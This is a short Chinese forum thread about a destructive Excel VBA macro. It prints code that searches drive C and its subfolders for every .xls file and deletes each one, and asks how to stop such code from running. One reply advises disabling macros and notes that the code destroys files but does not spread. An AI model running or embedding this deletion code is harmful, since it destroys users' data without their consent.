VBA病毒（如何防止病毒运行？）

ahq2001

偶然发现，一个可怕的病毒原来只需要几句代码就可以OK的。
各位高手有什么办法防止KILL这条命令运行？
以下代码仅供学习研究，切勿乱用。

With Application.FileSearch '设置应用程序的查找
.NewSearch '新查找
.LookIn = "    C      "           '将新查找的路径设置为C：\（可以设置任意路径）
.SearchSubFolders = True '查找子目录
.FileType = msoFileTypeAllFiles '查找所有文件类型，这里可以设置其他类型，具体见FileSearch对象的FileType属性
.FileName = "*.xls" '查找后缀为xls的文件（可以设置为任意类型）
.Execute '执行文件查找

For k = 1 To .FoundFiles.Count
Kill .FoundFiles(k) '删除第k个找到的文件

[ 本帖最后由 ahq2001 于 2008-12-12 11:23 编辑 ]

xinhunter

运行别人写的有恶意的代码，实在是很危险的行为。禁止执行宏就可以啦。
楼主的代码并不符合“病毒”的定义，它没有自我复制和传播的能力，只能算有破坏行为的代码。

LS115115

..................